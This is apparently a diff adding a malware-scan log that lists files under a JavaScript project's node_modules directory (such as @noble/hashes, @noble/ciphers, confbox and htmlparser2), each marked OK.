+/scan/node_modules/@noble/hashes/esm/pbkdf2.js.map: OK
+/scan/node_modules/@noble/hashes/esm/sha2.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/hkdf.js.map: OK
+/scan/node_modules/@noble/hashes/esm/ripemd160.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/blake3.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/legacy.js.map: OK
+/scan/node_modules/@noble/hashes/esm/blake2b.js: OK
+/scan/node_modules/@noble/hashes/esm/hmac.js: OK
+/scan/node_modules/@noble/hashes/esm/sha1.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/legacy.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/_md.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/package.json: OK
+/scan/node_modules/@noble/hashes/esm/utils.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/sha256.js.map: OK
+/scan/node_modules/@noble/hashes/esm/argon2.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/_assert.js.map: OK
+/scan/node_modules/@noble/hashes/esm/_assert.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/utils.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/sha2.js.map: OK
+/scan/node_modules/@noble/hashes/esm/cryptoNode.js.map: OK
+/scan/node_modules/@noble/hashes/esm/index.js.map: OK
+/scan/node_modules/@noble/hashes/esm/_blake.js: OK
+/scan/node_modules/@noble/hashes/esm/sha3-addons.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/pbkdf2.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/legacy.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/blake1.js: OK
+/scan/node_modules/@noble/hashes/esm/blake2.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/sha3-addons.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/blake1.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/crypto.js.map: OK
+/scan/node_modules/@noble/hashes/esm/blake2s.js.map: OK
+/scan/node_modules/@noble/hashes/esm/utils.js: OK
+/scan/node_modules/@noble/hashes/esm/blake2s.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/utils.js.map: OK
+/scan/node_modules/@noble/hashes/esm/hkdf.js: OK
+/scan/node_modules/@noble/hashes/esm/sha1.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/crypto.js: OK
+/scan/node_modules/@noble/hashes/esm/sha3.js: OK
+/scan/node_modules/@noble/hashes/esm/blake2s.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/_assert.js: OK
+/scan/node_modules/@noble/hashes/esm/hkdf.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/index.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/cryptoNode.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/pbkdf2.js: OK
+/scan/node_modules/@noble/hashes/esm/sha2.js: OK
+/scan/node_modules/@noble/hashes/esm/ripemd160.js: OK
+/scan/node_modules/@noble/hashes/esm/cryptoNode.js: OK
+/scan/node_modules/@noble/hashes/esm/index.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/ripemd160.js.map: OK
+/scan/node_modules/@noble/hashes/esm/blake2.js.map: OK
+/scan/node_modules/@noble/hashes/esm/hkdf.d.ts.map: OK
+/scan/node_modules/@noble/hashes/sha512.js: OK
+/scan/node_modules/@noble/hashes/hmac.d.ts: OK
+/scan/node_modules/@noble/hashes/sha3-addons.js: OK
+/scan/node_modules/@noble/hashes/sha3.d.ts: OK
+/scan/node_modules/@noble/hashes/_assert.d.ts.map: OK
+/scan/node_modules/@noble/hashes/scrypt.d.ts: OK
+/scan/node_modules/@noble/hashes/_u64.d.ts.map: OK
+/scan/node_modules/@noble/hashes/eskdf.d.ts.map: OK
+/scan/node_modules/@noble/hashes/sha3-addons.js.map: OK
+/scan/node_modules/@noble/hashes/_u64.js: OK
+/scan/node_modules/@noble/hashes/blake1.d.ts: OK
+/scan/node_modules/@noble/hashes/sha512.d.ts.map: OK
+/scan/node_modules/@noble/hashes/sha512.d.ts: OK
+/scan/node_modules/@noble/hashes/blake1.js.map: OK
+/scan/node_modules/@noble/hashes/eskdf.js.map: OK
+/scan/node_modules/@noble/hashes/sha512.js.map: OK
+/scan/node_modules/@noble/hashes/blake2b.d.ts: OK
+/scan/node_modules/@noble/hashes/blake2.js: OK
+/scan/node_modules/@noble/hashes/sha256.d.ts.map: OK
+/scan/node_modules/@noble/hashes/blake3.js.map: OK
+/scan/node_modules/@noble/hashes/crypto.d.ts.map: OK
+/scan/node_modules/@noble/hashes/index.js: OK
+/scan/node_modules/@noble/hashes/cryptoNode.d.ts.map: OK
+/scan/node_modules/@noble/hashes/eskdf.js: OK
+/scan/node_modules/@noble/hashes/blake3.js: OK
+/scan/node_modules/@noble/hashes/_u64.js.map: OK
+/scan/node_modules/@noble/hashes/blake3.d.ts.map: OK
+/scan/node_modules/@noble/hashes/blake2.d.ts.map: OK
+/scan/node_modules/@noble/hashes/_md.js.map: OK
+/scan/node_modules/@noble/hashes/legacy.js: OK
+/scan/node_modules/@noble/hashes/sha2.d.ts: OK
+/scan/node_modules/@noble/hashes/sha3.d.ts.map: OK
+/scan/node_modules/@noble/hashes/pbkdf2.js.map: OK
+/scan/node_modules/@noble/hashes/sha2.d.ts.map: OK
+/scan/node_modules/@noble/hashes/hkdf.js.map: OK
+/scan/node_modules/@noble/hashes/ripemd160.d.ts.map: OK
+/scan/node_modules/@noble/hashes/blake3.d.ts: OK
+/scan/node_modules/@noble/hashes/legacy.js.map: OK
+/scan/node_modules/@noble/hashes/blake2b.js: OK
+/scan/node_modules/@noble/hashes/README.md: OK
+/scan/node_modules/@noble/hashes/hmac.js: OK
+/scan/node_modules/@noble/hashes/sha1.d.ts: OK
+/scan/node_modules/@noble/hashes/legacy.d.ts.map: OK
+/scan/node_modules/@noble/hashes/_md.d.ts.map: OK
+/scan/node_modules/@noble/hashes/package.json: OK
+/scan/node_modules/@noble/hashes/utils.d.ts: OK
+/scan/node_modules/@noble/hashes/sha256.js.map: OK
+/scan/node_modules/@noble/hashes/argon2.d.ts.map: OK
+/scan/node_modules/@noble/hashes/_assert.js.map: OK
+/scan/node_modules/@noble/hashes/_assert.d.ts: OK
+/scan/node_modules/@noble/hashes/utils.d.ts.map: OK
+/scan/node_modules/@noble/hashes/sha2.js.map: OK
+/scan/node_modules/@noble/hashes/cryptoNode.js.map: OK
+/scan/node_modules/@noble/hashes/index.js.map: OK
+/scan/node_modules/@noble/hashes/_blake.js: OK
+/scan/node_modules/@noble/hashes/sha3-addons.d.ts: OK
+/scan/node_modules/@noble/hashes/pbkdf2.d.ts: OK
+/scan/node_modules/@noble/hashes/legacy.d.ts: OK
+/scan/node_modules/@noble/hashes/blake1.js: OK
+/scan/node_modules/@noble/hashes/blake2.d.ts: OK
+/scan/node_modules/@noble/hashes/sha3-addons.d.ts.map: OK
+/scan/node_modules/@noble/hashes/blake1.d.ts.map: OK
+/scan/node_modules/@noble/hashes/crypto.js.map: OK
+/scan/node_modules/@noble/hashes/blake2s.js.map: OK
+/scan/node_modules/@noble/hashes/utils.js: OK
+/scan/node_modules/@noble/hashes/blake2s.d.ts: OK
+/scan/node_modules/@noble/hashes/utils.js.map: OK
+/scan/node_modules/@noble/hashes/hkdf.js: OK
+/scan/node_modules/@noble/hashes/sha1.d.ts.map: OK
+/scan/node_modules/@noble/hashes/crypto.js: OK
+/scan/node_modules/@noble/hashes/sha3.js: OK
+/scan/node_modules/@noble/hashes/blake2s.d.ts.map: OK
+/scan/node_modules/@noble/hashes/_assert.js: OK
+/scan/node_modules/@noble/hashes/hkdf.d.ts: OK
+/scan/node_modules/@noble/hashes/index.d.ts: OK
+/scan/node_modules/@noble/hashes/cryptoNode.d.ts: OK
+/scan/node_modules/@noble/hashes/pbkdf2.js: OK
+/scan/node_modules/@noble/hashes/sha2.js: OK
+/scan/node_modules/@noble/hashes/ripemd160.js: OK
+/scan/node_modules/@noble/hashes/cryptoNode.js: OK
+/scan/node_modules/@noble/hashes/index.d.ts.map: OK
+/scan/node_modules/@noble/hashes/ripemd160.js.map: OK
+/scan/node_modules/@noble/hashes/blake2.js.map: OK
+/scan/node_modules/@noble/hashes/hkdf.d.ts.map: OK
+/scan/node_modules/@noble/hashes/src/_blake.ts: OK
+/scan/node_modules/@noble/hashes/src/blake1.ts: OK
+/scan/node_modules/@noble/hashes/src/blake2b.ts: OK
+/scan/node_modules/@noble/hashes/src/hmac.ts: OK
+/scan/node_modules/@noble/hashes/src/sha2.ts: OK
+/scan/node_modules/@noble/hashes/src/ripemd160.ts: OK
+/scan/node_modules/@noble/hashes/src/cryptoNode.ts: OK
+/scan/node_modules/@noble/hashes/src/utils.ts: OK
+/scan/node_modules/@noble/hashes/src/hkdf.ts: OK
+/scan/node_modules/@noble/hashes/src/crypto.ts: OK
+/scan/node_modules/@noble/hashes/src/sha3.ts: OK
+/scan/node_modules/@noble/hashes/src/_assert.ts: OK
+/scan/node_modules/@noble/hashes/src/pbkdf2.ts: OK
+/scan/node_modules/@noble/hashes/src/scrypt.ts: OK
+/scan/node_modules/@noble/hashes/src/blake2s.ts: OK
+/scan/node_modules/@noble/hashes/src/_md.ts: OK
+/scan/node_modules/@noble/hashes/src/argon2.ts: OK
+/scan/node_modules/@noble/hashes/src/sha1.ts: OK
+/scan/node_modules/@noble/hashes/src/sha256.ts: OK
+/scan/node_modules/@noble/hashes/src/index.ts: OK
+/scan/node_modules/@noble/hashes/src/eskdf.ts: OK
+/scan/node_modules/@noble/hashes/src/blake3.ts: OK
+/scan/node_modules/@noble/hashes/src/legacy.ts: OK
+/scan/node_modules/@noble/hashes/src/sha512.ts: OK
+/scan/node_modules/@noble/hashes/src/sha3-addons.ts: OK
+/scan/node_modules/@noble/hashes/src/_u64.ts: OK
+/scan/node_modules/@noble/hashes/src/blake2.ts: OK
+/scan/node_modules/@noble/ciphers/chacha.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/aes.js: OK
+/scan/node_modules/@noble/ciphers/_micro.js: OK
+/scan/node_modules/@noble/ciphers/_poly1305.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/webcrypto.d.ts: OK
+/scan/node_modules/@noble/ciphers/aes.d.ts: OK
+/scan/node_modules/@noble/ciphers/chacha.js.map: OK
+/scan/node_modules/@noble/ciphers/LICENSE: OK
+/scan/node_modules/@noble/ciphers/crypto.d.ts: OK
+/scan/node_modules/@noble/ciphers/_arx.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/chacha.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/aes.js: OK
+/scan/node_modules/@noble/ciphers/esm/_micro.js: OK
+/scan/node_modules/@noble/ciphers/esm/_poly1305.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/webcrypto.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/aes.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/chacha.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/crypto.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/_arx.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/_poly1305.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/_assert.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/salsa.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/salsa.js: OK
+/scan/node_modules/@noble/ciphers/esm/crypto.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/chacha.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/_arx.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/chacha.js: OK
+/scan/node_modules/@noble/ciphers/esm/index.js: OK
+/scan/node_modules/@noble/ciphers/esm/cryptoNode.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/_polyval.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/_polyval.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/webcrypto.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/_micro.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/aes.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/ff1.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/package.json: OK
+/scan/node_modules/@noble/ciphers/esm/utils.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/_assert.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/_assert.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/utils.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/_polyval.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/_arx.js: OK
+/scan/node_modules/@noble/ciphers/esm/aes.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/_micro.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/cryptoNode.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/ff1.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/index.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/_micro.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/_polyval.js: OK
+/scan/node_modules/@noble/ciphers/esm/crypto.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/_poly1305.js: OK
+/scan/node_modules/@noble/ciphers/esm/utils.js: OK
+/scan/node_modules/@noble/ciphers/esm/utils.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/ff1.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/_arx.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/crypto.js: OK
+/scan/node_modules/@noble/ciphers/esm/_assert.js: OK
+/scan/node_modules/@noble/ciphers/esm/index.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/ff1.js: OK
+/scan/node_modules/@noble/ciphers/esm/cryptoNode.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/salsa.js.map: OK
+/scan/node_modules/@noble/ciphers/esm/salsa.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/webcrypto.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/esm/_poly1305.d.ts: OK
+/scan/node_modules/@noble/ciphers/esm/cryptoNode.js: OK
+/scan/node_modules/@noble/ciphers/esm/webcrypto.js: OK
+/scan/node_modules/@noble/ciphers/esm/index.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/_poly1305.js.map: OK
+/scan/node_modules/@noble/ciphers/_assert.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/salsa.d.ts: OK
+/scan/node_modules/@noble/ciphers/salsa.js: OK
+/scan/node_modules/@noble/ciphers/crypto.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/chacha.d.ts: OK
+/scan/node_modules/@noble/ciphers/_arx.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/chacha.js: OK
+/scan/node_modules/@noble/ciphers/index.js: OK
+/scan/node_modules/@noble/ciphers/cryptoNode.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/_polyval.js.map: OK
+/scan/node_modules/@noble/ciphers/_polyval.d.ts: OK
+/scan/node_modules/@noble/ciphers/webcrypto.js.map: OK
+/scan/node_modules/@noble/ciphers/_micro.d.ts: OK
+/scan/node_modules/@noble/ciphers/aes.js.map: OK
+/scan/node_modules/@noble/ciphers/README.md: OK
+/scan/node_modules/@noble/ciphers/ff1.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/package.json: OK
+/scan/node_modules/@noble/ciphers/utils.d.ts: OK
+/scan/node_modules/@noble/ciphers/_assert.js.map: OK
+/scan/node_modules/@noble/ciphers/_assert.d.ts: OK
+/scan/node_modules/@noble/ciphers/utils.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/_polyval.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/_arx.js: OK
+/scan/node_modules/@noble/ciphers/aes.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/_micro.js.map: OK
+/scan/node_modules/@noble/ciphers/cryptoNode.js.map: OK
+/scan/node_modules/@noble/ciphers/ff1.d.ts: OK
+/scan/node_modules/@noble/ciphers/index.js.map: OK
+/scan/node_modules/@noble/ciphers/_micro.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/_polyval.js: OK
+/scan/node_modules/@noble/ciphers/crypto.js.map: OK
+/scan/node_modules/@noble/ciphers/_poly1305.js: OK
+/scan/node_modules/@noble/ciphers/utils.js: OK
+/scan/node_modules/@noble/ciphers/utils.js.map: OK
+/scan/node_modules/@noble/ciphers/ff1.js.map: OK
+/scan/node_modules/@noble/ciphers/_arx.d.ts: OK
+/scan/node_modules/@noble/ciphers/crypto.js: OK
+/scan/node_modules/@noble/ciphers/_assert.js: OK
+/scan/node_modules/@noble/ciphers/index.d.ts: OK
+/scan/node_modules/@noble/ciphers/ff1.js: OK
+/scan/node_modules/@noble/ciphers/cryptoNode.d.ts: OK
+/scan/node_modules/@noble/ciphers/salsa.js.map: OK
+/scan/node_modules/@noble/ciphers/salsa.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/webcrypto.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/_poly1305.d.ts: OK
+/scan/node_modules/@noble/ciphers/cryptoNode.js: OK
+/scan/node_modules/@noble/ciphers/webcrypto.js: OK
+/scan/node_modules/@noble/ciphers/index.d.ts.map: OK
+/scan/node_modules/@noble/ciphers/src/_arx.ts: OK
+/scan/node_modules/@noble/ciphers/src/_polyval.ts: OK
+/scan/node_modules/@noble/ciphers/src/cryptoNode.ts: OK
+/scan/node_modules/@noble/ciphers/src/webcrypto.ts: OK
+/scan/node_modules/@noble/ciphers/src/utils.ts: OK
+/scan/node_modules/@noble/ciphers/src/_poly1305.ts: OK
+/scan/node_modules/@noble/ciphers/src/crypto.ts: OK
+/scan/node_modules/@noble/ciphers/src/_assert.ts: OK
+/scan/node_modules/@noble/ciphers/src/ff1.ts: OK
+/scan/node_modules/@noble/ciphers/src/package.json: OK
+/scan/node_modules/@noble/ciphers/src/aes.ts: OK
+/scan/node_modules/@noble/ciphers/src/_micro.ts: OK
+/scan/node_modules/@noble/ciphers/src/index.ts: OK
+/scan/node_modules/@noble/ciphers/src/chacha.ts: OK
+/scan/node_modules/@noble/ciphers/src/salsa.ts: OK
+/scan/node_modules/agent-base/LICENSE: OK
+/scan/node_modules/agent-base/dist/index.js: OK
+/scan/node_modules/agent-base/dist/helpers.js.map: OK
+/scan/node_modules/agent-base/dist/helpers.d.ts.map: OK
+/scan/node_modules/agent-base/dist/helpers.js: OK
+/scan/node_modules/agent-base/dist/index.js.map: OK
+/scan/node_modules/agent-base/dist/helpers.d.ts: OK
+/scan/node_modules/agent-base/dist/index.d.ts: OK
+/scan/node_modules/agent-base/dist/index.d.ts.map: OK
+/scan/node_modules/agent-base/README.md: OK
+/scan/node_modules/agent-base/package.json: OK
+/scan/node_modules/confbox/LICENSE: OK
+/scan/node_modules/confbox/dist/toml.d.mts: OK
+/scan/node_modules/confbox/dist/json5.cjs: OK
+/scan/node_modules/confbox/dist/jsonc.cjs: OK
+/scan/node_modules/confbox/dist/toml.d.cts: OK
+/scan/node_modules/confbox/dist/jsonc.mjs: OK
+/scan/node_modules/confbox/dist/json5.mjs: OK
+/scan/node_modules/confbox/dist/yaml.mjs: OK
+/scan/node_modules/confbox/dist/json5.d.mts: OK
+/scan/node_modules/confbox/dist/json5.d.cts: OK
+/scan/node_modules/confbox/dist/yaml.cjs: OK
+/scan/node_modules/confbox/dist/toml.cjs: OK
+/scan/node_modules/confbox/dist/index.d.mts: OK
+/scan/node_modules/confbox/dist/index.d.cts: OK
+/scan/node_modules/confbox/dist/toml.mjs: OK
+/scan/node_modules/confbox/dist/shared/confbox.6b479c78.cjs: OK
+/scan/node_modules/confbox/dist/shared/confbox.9745c98f.d.ts: OK
+/scan/node_modules/confbox/dist/shared/confbox.9745c98f.d.mts: OK
+/scan/node_modules/confbox/dist/shared/confbox.9388d834.mjs: OK
+/scan/node_modules/confbox/dist/shared/confbox.9745c98f.d.cts: OK
+/scan/node_modules/confbox/dist/shared/confbox.3768c7e9.cjs: OK
+/scan/node_modules/confbox/dist/shared/confbox.f9f03f05.mjs: OK
+/scan/node_modules/confbox/dist/toml.d.ts: OK
+/scan/node_modules/confbox/dist/yaml.d.ts: OK
+/scan/node_modules/confbox/dist/jsonc.d.cts: OK
+/scan/node_modules/confbox/dist/index.cjs: OK
+/scan/node_modules/confbox/dist/index.mjs: OK
+/scan/node_modules/confbox/dist/jsonc.d.mts: OK
+/scan/node_modules/confbox/dist/jsonc.d.ts: OK
+/scan/node_modules/confbox/dist/index.d.ts: OK
+/scan/node_modules/confbox/dist/yaml.d.cts: OK
+/scan/node_modules/confbox/dist/yaml.d.mts: OK
+/scan/node_modules/confbox/dist/json5.d.ts: OK
+/scan/node_modules/confbox/toml.d.ts: OK
+/scan/node_modules/confbox/README.md: OK
+/scan/node_modules/confbox/yaml.d.ts: OK
+/scan/node_modules/confbox/package.json: OK
+/scan/node_modules/confbox/jsonc.d.ts: OK
+/scan/node_modules/confbox/json5.d.ts: OK
+/scan/node_modules/require-main-filename/CHANGELOG.md: OK
+/scan/node_modules/require-main-filename/index.js: OK
+/scan/node_modules/require-main-filename/README.md: OK
+/scan/node_modules/require-main-filename/package.json: OK
+/scan/node_modules/require-main-filename/LICENSE.txt: OK
+/scan/node_modules/ms/license.md: OK
+/scan/node_modules/ms/index.js: OK
+/scan/node_modules/ms/readme.md: OK
+/scan/node_modules/ms/package.json: OK
+/scan/node_modules/strip-final-newline/license: OK
+/scan/node_modules/strip-final-newline/index.js: OK
+/scan/node_modules/strip-final-newline/readme.md: OK
+/scan/node_modules/strip-final-newline/package.json: OK
+/scan/node_modules/turbo-darwin-arm64/LICENSE: OK
+/scan/node_modules/turbo-darwin-arm64/bin/turbo: OK
+/scan/node_modules/turbo-darwin-arm64/README.md: OK
+/scan/node_modules/turbo-darwin-arm64/package.json: OK
+/scan/node_modules/content-disposition/LICENSE: OK
+/scan/node_modules/content-disposition/HISTORY.md: OK
+/scan/node_modules/content-disposition/index.js: OK
+/scan/node_modules/content-disposition/README.md: OK
+/scan/node_modules/content-disposition/package.json: OK
+/scan/node_modules/farmhash-modern/LICENSE: OK
+/scan/node_modules/farmhash-modern/bin/nodejs/farmhash_modern_bg.wasm: OK
+/scan/node_modules/farmhash-modern/bin/nodejs/farmhash_modern.js: OK
+/scan/node_modules/farmhash-modern/bin/bundler/farmhash_modern_bg.js: OK
+/scan/node_modules/farmhash-modern/bin/bundler/farmhash_modern_bg.wasm: OK
+/scan/node_modules/farmhash-modern/bin/bundler/farmhash_modern.js: OK
+/scan/node_modules/farmhash-modern/README.md: OK
+/scan/node_modules/farmhash-modern/package.json: OK
+/scan/node_modules/farmhash-modern/lib/index.d.mts: OK
+/scan/node_modules/farmhash-modern/lib/index.d.cts: OK
+/scan/node_modules/farmhash-modern/lib/index.js: OK
+/scan/node_modules/farmhash-modern/lib/index.cjs: OK
+/scan/node_modules/farmhash-modern/lib/index.mjs: OK
+/scan/node_modules/farmhash-modern/lib/index.d.ts: OK
+/scan/node_modules/farmhash-modern/lib/browser.js: OK
+/scan/node_modules/farmhash-modern/lib/.tsbuildinfo: OK
+/scan/node_modules/farmhash-modern/lib/browser.d.ts: OK
+/scan/node_modules/math-intrinsics/isInteger.js: OK
+/scan/node_modules/math-intrinsics/floor.d.ts: OK
+/scan/node_modules/math-intrinsics/LICENSE: OK
+/scan/node_modules/math-intrinsics/test/index.js: OK
+/scan/node_modules/math-intrinsics/floor.js: OK
+/scan/node_modules/math-intrinsics/CHANGELOG.md: OK
+/scan/node_modules/math-intrinsics/mod.d.ts: OK
+/scan/node_modules/math-intrinsics/abs.js: OK
+/scan/node_modules/math-intrinsics/pow.js: OK
+/scan/node_modules/math-intrinsics/max.js: OK
+/scan/node_modules/math-intrinsics/constants/maxArrayLength.d.ts: OK
+/scan/node_modules/math-intrinsics/constants/maxSafeInteger.d.ts: OK
+/scan/node_modules/math-intrinsics/constants/maxSafeInteger.js: OK
+/scan/node_modules/math-intrinsics/constants/maxValue.d.ts: OK
+/scan/node_modules/math-intrinsics/constants/maxValue.js: OK
+/scan/node_modules/math-intrinsics/constants/maxArrayLength.js: OK
+/scan/node_modules/math-intrinsics/abs.d.ts: OK
+/scan/node_modules/math-intrinsics/isInteger.d.ts: OK
+/scan/node_modules/math-intrinsics/min.d.ts: OK
+/scan/node_modules/math-intrinsics/.eslintrc: OK
+/scan/node_modules/math-intrinsics/isNaN.d.ts: OK
+/scan/node_modules/math-intrinsics/max.d.ts: OK
+/scan/node_modules/math-intrinsics/isNaN.js: OK
+/scan/node_modules/math-intrinsics/isNegativeZero.d.ts: OK
+/scan/node_modules/math-intrinsics/sign.js: OK
+/scan/node_modules/math-intrinsics/README.md: OK
+/scan/node_modules/math-intrinsics/pow.d.ts: OK
+/scan/node_modules/math-intrinsics/package.json: OK
+/scan/node_modules/math-intrinsics/sign.d.ts: OK
+/scan/node_modules/math-intrinsics/.github/FUNDING.yml: OK
+/scan/node_modules/math-intrinsics/isFinite.d.ts: OK
+/scan/node_modules/math-intrinsics/mod.js: OK
+/scan/node_modules/math-intrinsics/tsconfig.json: OK
+/scan/node_modules/math-intrinsics/round.d.ts: OK
+/scan/node_modules/math-intrinsics/round.js: OK
+/scan/node_modules/math-intrinsics/min.js: OK
+/scan/node_modules/math-intrinsics/isNegativeZero.js: OK
+/scan/node_modules/math-intrinsics/isFinite.js: OK
+/scan/node_modules/methods/LICENSE: OK
+/scan/node_modules/methods/HISTORY.md: OK
+/scan/node_modules/methods/index.js: OK
+/scan/node_modules/methods/README.md: OK
+/scan/node_modules/methods/package.json: OK
+/scan/node_modules/prelude-ls/LICENSE: OK
+/scan/node_modules/prelude-ls/CHANGELOG.md: OK
+/scan/node_modules/prelude-ls/README.md: OK
+/scan/node_modules/prelude-ls/package.json: OK
+/scan/node_modules/prelude-ls/lib/Num.js: OK
+/scan/node_modules/prelude-ls/lib/Str.js: OK
+/scan/node_modules/prelude-ls/lib/index.js: OK
+/scan/node_modules/prelude-ls/lib/List.js: OK
+/scan/node_modules/prelude-ls/lib/Func.js: OK
+/scan/node_modules/prelude-ls/lib/Obj.js: OK
+/scan/node_modules/linebreak/LICENSE: OK
+/scan/node_modules/linebreak/dist/module.mjs: OK
+/scan/node_modules/linebreak/dist/main.cjs.map: OK
+/scan/node_modules/linebreak/dist/main.cjs: OK
+/scan/node_modules/linebreak/dist/module.mjs.map: OK
+/scan/node_modules/linebreak/node_modules/base64-js/bench/bench.js: OK
+/scan/node_modules/linebreak/node_modules/base64-js/LICENSE.MIT: OK
+/scan/node_modules/linebreak/node_modules/base64-js/test/convert.js: OK
+/scan/node_modules/linebreak/node_modules/base64-js/test/url-safe.js: OK
+/scan/node_modules/linebreak/node_modules/base64-js/README.md: OK
+/scan/node_modules/linebreak/node_modules/base64-js/package.json: OK
+/scan/node_modules/linebreak/node_modules/base64-js/lib/b64.js: OK
+/scan/node_modules/linebreak/node_modules/base64-js/.travis.yml: OK
+/scan/node_modules/linebreak/readme.md: OK
+/scan/node_modules/linebreak/package.json: OK
+/scan/node_modules/@jest/schemas/LICENSE: OK
+/scan/node_modules/@jest/schemas/README.md: OK
+/scan/node_modules/@jest/schemas/package.json: OK
+/scan/node_modules/@jest/schemas/build/index.js: OK
+/scan/node_modules/@jest/schemas/build/index.d.ts: OK
+/scan/node_modules/node-releases/LICENSE: OK
+/scan/node_modules/node-releases/README.md: OK
+/scan/node_modules/node-releases/package.json: OK
+/scan/node_modules/node-releases/data/processed/envs.json: OK
+/scan/node_modules/node-releases/data/release-schedule/release-schedule.json: OK
+/scan/node_modules/htmlparser2/LICENSE: OK
+/scan/node_modules/htmlparser2/README.md: OK
+/scan/node_modules/htmlparser2/package.json: OK
+/scan/node_modules/htmlparser2/lib/WritableStream.js: OK
+/scan/node_modules/htmlparser2/lib/Tokenizer.js.map: OK
+/scan/node_modules/htmlparser2/lib/esm/WritableStream.js: OK
+/scan/node_modules/htmlparser2/lib/esm/Tokenizer.js.map: OK
+/scan/node_modules/htmlparser2/lib/esm/Parser.js.map: OK
+/scan/node_modules/htmlparser2/lib/esm/Tokenizer.d.ts: OK
+/scan/node_modules/htmlparser2/lib/esm/index.js: OK
+/scan/node_modules/htmlparser2/lib/esm/WritableStream.js.map: OK
+/scan/node_modules/htmlparser2/lib/esm/package.json: OK
+/scan/node_modules/htmlparser2/lib/esm/index.js.map: OK
+/scan/node_modules/htmlparser2/lib/esm/Tokenizer.js: OK
+/scan/node_modules/htmlparser2/lib/esm/index.d.ts: OK
+/scan/node_modules/htmlparser2/lib/esm/Parser.d.ts: OK
+/scan/node_modules/htmlparser2/lib/esm/Parser.js: OK
+/scan/node_modules/htmlparser2/lib/esm/WritableStream.d.ts.map: OK
+/scan/node_modules/htmlparser2/lib/esm/WritableStream.d.ts: OK
+/scan/node_modules/htmlparser2/lib/esm/index.d.ts.map: OK
+/scan/node_modules/htmlparser2/lib/esm/Parser.d.ts.map: OK
+/scan/node_modules/htmlparser2/lib/esm/Tokenizer.d.ts.map: OK
+/scan/node_modules/htmlparser2/lib/Parser.js.map: OK
+/scan/node_modules/htmlparser2/lib/Tokenizer.d.ts: OK
+/scan/node_modules/htmlparser2/lib/index.js: OK
+/scan/node_modules/htmlparser2/lib/WritableStream.js.map: OK
+/scan/node_modules/htmlparser2/lib/index.js.map: OK
+/scan/node_modules/htmlparser2/lib/Tokenizer.js: OK
+/scan/node_modules/htmlparser2/lib/index.d.ts: OK
+/scan/node_modules/htmlparser2/lib/Parser.d.ts: OK
+/scan/node_modules/htmlparser2/lib/Parser.js: OK
+/scan/node_modules/htmlparser2/lib/WritableStream.d.ts.map: OK
